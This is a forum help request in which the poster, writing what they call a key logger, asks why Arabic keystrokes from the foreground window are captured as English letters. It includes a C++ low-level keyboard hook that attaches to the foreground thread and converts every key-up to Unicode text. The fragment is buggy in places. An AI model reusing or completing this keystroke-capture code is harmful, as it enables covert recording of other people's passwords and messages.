Unable to get Unicode inputs from another thread

See more:

C++

Hi

I am writing a key logger which logs Unicode chars by attach foreground window thread with my thread.
It works fine when I type English chars and it catch the right case of chars (small or capital) whether in current thread or in foreground thread .

The problem when I type Arabic chars in foreground thread, my current thread receives the correspond chars in English, as my current thread receives the right keyboard state (Arabic chars or English) when it is the foreground thread.
Here is the code :

LRESULT CALLBACK keyproc(int nCode,WPARAM wparam,LPARAM lparam)
{
    if(nCode ==HC_ACTION)
    {
        if(wparam==WM_KEYUP)
        {    
            KBDLLHOOKSTRUCT *p=(KBDLLHOOKSTRUCT*)lparam;
            byte b[256];
            wchar_t *buff=new wchar_t[1];            AttachThreadInput(GetWindowThreadProcessId(GetForegroundWindow(),NULL), GetCurrentThreadId(),true);
            if (GetKeyboardState(b))
            {
                ToUnicode(p->vkCode,p->scanCode,b,buff,1,0);
            }
            s+=QString::fromWCharArray(buff,1);            
        }
    }
    return 0;
}

Can one help me ??